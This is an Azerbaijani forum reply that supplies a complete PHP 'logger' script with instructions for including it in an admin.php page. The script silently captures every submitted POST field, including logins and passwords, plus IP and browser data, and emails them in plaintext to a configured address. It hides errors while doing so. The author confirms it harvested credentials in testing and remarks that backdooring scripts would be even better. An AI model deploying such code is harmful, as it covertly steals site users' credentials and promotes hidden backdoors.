@Mihos
İndi gördüm sizin şərhlərinizi
Belə bir "GLOBAL" implementation etdim))
//logger.php
Kod:
<?php
error_reporting(0);//Silence is GOLDEN;)//
define('MAIL1','OZ_EMAIL_ADRESINI_VURADA@YAZ.COM');//Mail adresini burada yaz.//
/***
*CodeD by AkaStep
*OUTPUT: (maile bu halda gelecek)
*Mektubun basligi: MARAQLI DUNYANIN MARAQLI SIRLERI))))))))))
*Metni:
================================================================================
================================================================================
IP Adresi : [ 192.168.0.1 ]
Brauzeri: [ Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1 ]
URL(Haradan+query stringle birge): [ 192.168.0.15/learn/stealer/admin.php?[][][] ]
================================================================================
LOGIN : Daxil Etdi: [ logindirbu ]
PAROL : Daxil Etdi: [ paroldurbu ]
================================================================================
*
*
*
*
*
*
**/
/**
*asagidakilari deyisdirmeyine ehtiyyac yoxdur eger serverdeki admin.php-ni "gudmek"-den basqa seye ehtiyyac yoxdursa.
**/
if (!defined('WATCHITBABY')) die('Direct ACCESS OLMAZ!');
if (WATCHITBABY==='admin.php')
{
isset($_SERVER['REMOTE_ADDR']) ? $ip=(string)htmlspecialchars($_SERVER['REMOTE_ADDR']) : $ip=' ';
isset($_SERVER['HTTP_USER_AGENT']) ? $useragent=(string)htmlspecialchars($_SERVER['HTTP_USER_AGENT']) : $useragent=' ';
$haradan=(string)htmlspecialchars($_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
$separator=str_repeat('=',80) .PHP_EOL;
$prepareforsend=$separator . 'IP Adresi : [ ' . $ip . ' ]' . PHP_EOL .
'Brauzeri: [ ' . $useragent . ' ]' .PHP_EOL .
'URL(Haradan+query stringle birge): [ ' . $haradan . ' ]' .PHP_EOL .$separator;
if($_SERVER['REQUEST_METHOD']=='POST')//Bize POST metodda lazimdir "gudmek" ele deyil?//
{
$count=(int)count($_POST)-1;//submit lazim deyil bize.
$x=NULL;//inisialize edirik
$str=NULL;//eynile inisialize edirik.
foreach($_POST as $k=>$val)
{
$k=(string)$k;//Path disclosure-nin qarsisini almaq ucun
$val=(string)$val;//eynile.
$x++;
if($x<=$count)
{
$str.=(string)htmlspecialchars(strtoupper(substr($k,0,250))) . ' : ' . ' Daxil Etdi: [ ' . htmlspecialchars((string)$val) . ' ] '. PHP_EOL;
}
}
unset($val,$x,$k);
//Artiq maile gonderirik//
if (isset($str) && !empty($str) && (int)strlen($str)!==0)
{
@mail(MAIL1,' MARAQLI DUNYANIN MARAQLI SIRLERI)))',$separator . $prepareforsend . $str .$separator);
//gonderdik maile//
}
}
}
?>
http://pastebin.com/Zs6Qvu4s
Bu scripti logger.php olaraq save edin serverdə və həmin skriptdə:
define('MAIL1','OZ_EMAIL_ADRESINI_VURADA@YAZ.COM')
sətrdə [email]OZ_EMAIL_ADRESINI_VURADA@YAZ.COM[/email] -ı öz email adresinizə dəyişdirin.Save edin.
Daha sonra bu admin.php-ni güdmək istəyirsiniz elə deyil? Sırf skripti admin.php adlı faylı güdmək üçün də yazdım(işdir başqa bir faylı bu metodla güdmək istəsəniz
logger.php faylında
WATCHITBABY==='admin.php'
gördüyünüz admin.php-ni dəyişdirərsiniz həmin güdmək istədiyiniz faylın adına.
Siz mənə admin.php dediniz deyə mən də misal üçün admin.php -yə nəzarət üçün yazdım bunu.
Daha sonra əsas məqam:
Sizki HANSI FAYLI Kİ,biz güdəcəyiksə həmin faylın başlığında bunları yazmalısınız:
Kod:
define('WATCHITBABY',(string)basename(strtolower($_SERVER['SCRIPT_NAME'])));//constant sekilde lazimdir bize loggerde.//
require_once 'logger.php';//include edirik.
Gördüyünüz require_once 'logger.php'
Əgər skript (nəzərdə tuturam admin.php və logger.php ) serverdə eyni "papkadadırsa" onu dəyişdirməyə ehtiyyac yoxdur.
Yox əgər ayrı-ayrı "papkalardadırlarsa" yuxarıda dediyim sətrdə logger.php faylına relative ../../../logger.php yaxud a FULL ABSOLULUTE PATH şəklində require_once-a ötürməlisiniz.
yazdım+localhostda test elədim normal da işlədi.bütün POST zaprosları (logini passı və s götürdü və mailə göndərdi mənə)
Skriptin çəkilməməsinə qarşı bunu edrsinizsə yanılırsınız.
99% hack + skriptlərin oğurlanması serverə müdaxilə ilə edilir.
yaxud ftp parollarınızın oğurlanması ilə edilir.
Heç admin.php-yə girmək belə lazım olmur.
YƏniki sözümün canı odurki çalışın normal hostinglərdə saytlarınızı host edəsiniz.
Secure parollar istifadə edəsiniz.Log auditi edəsiniz və s.
Web security çox kompleks bir mövzudur.2cümlə ilə mümkün deyil ətraflı izah etmək.
Yenə də əgər düşünürsünüzsəki bu kimi metod skriptinizin oğurlanmasının qarşısını alacaq hardasa 80% sizə kömək ola bilər.
Belə baxanda skript oğurlananda PHP-dən başı çıxan adam əlinə düşür sonra.Götürüb pozacaq loggeri və s istifadə edəcək.
Bax amma backdoorlamaq skriptləri daha gözək olardı))))
Yenə də seçim sizindir.